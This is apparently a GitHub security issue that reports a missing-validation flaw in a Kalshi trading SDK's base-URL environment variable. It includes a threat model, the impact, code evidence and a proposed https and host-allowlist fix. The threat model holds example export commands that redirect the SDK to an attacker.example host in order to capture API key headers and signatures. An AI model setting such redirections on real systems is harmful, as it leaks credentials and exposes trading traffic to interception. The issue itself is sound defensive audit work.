Skip to content

Security: KALSHI_API_BASE_URL accepts any scheme/host with no validation #94

Description

@TexasCoding

From Wave 5 security audit, finding F-O-03. Severity: medium.

Threat model

Anyone who can write to a process's environment (`docker run -e ...`, CI variable, `.env` checked into a different repo, shell history) can set:
```bash
export KALSHI_API_BASE_URL=http://attacker.example/trade-api/v2

or

export KALSHI_API_BASE_URL=https://attacker.example/trade-api/v2
```

The SDK accepts the URL unconditionally — no scheme check, no host allowlist, no warning. The RSA-PSS signature is then computed and sent (with the `KALSHI-ACCESS-KEY` header) to the attacker's endpoint, which can proxy on to the real API.

Impact

  • API key ID leakage (identifying, less sensitive than the private key).
  • Live signature capture (each is single-use and bound to method+path+timestamp, so no arbitrary-request forgery — but confirms the key is active and identifies the account).
  • Silent MITM of all trading activity.
  • With `http://`, passive observers anywhere downstream of the env-var setter capture everything.

This isn't a "process memory access" threat — env-var injection is a normal deployment plane, and copy-paste-from-a-forum is a real failure mode for traders.

Evidence

  • `kalshi/client.py:137` — `base_url = os.environ.get("KALSHI_API_BASE_URL")`
  • `kalshi/config.py:18-44` — `KalshiConfig` accepts any string; only trailing-slash normalization.
  • `kalshi/_base_client.py:91-96` — passes the URL directly to `httpx.Client(base_url=...)`.

Fix

In `KalshiConfig.post_init`:

  • Reject `base_url` that doesn't start with `https://` (allow `http://` only for `localhost` / `127.0.0.1` / `::1` for testing).
  • `logger.warning` if the host is neither `api.elections.kalshi.com` nor `demo-api.kalshi.co`.

One-time work. Doesn't break legitimate proxy use cases — operators can still set their own HTTPS proxy host (warning surfaces awareness).

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions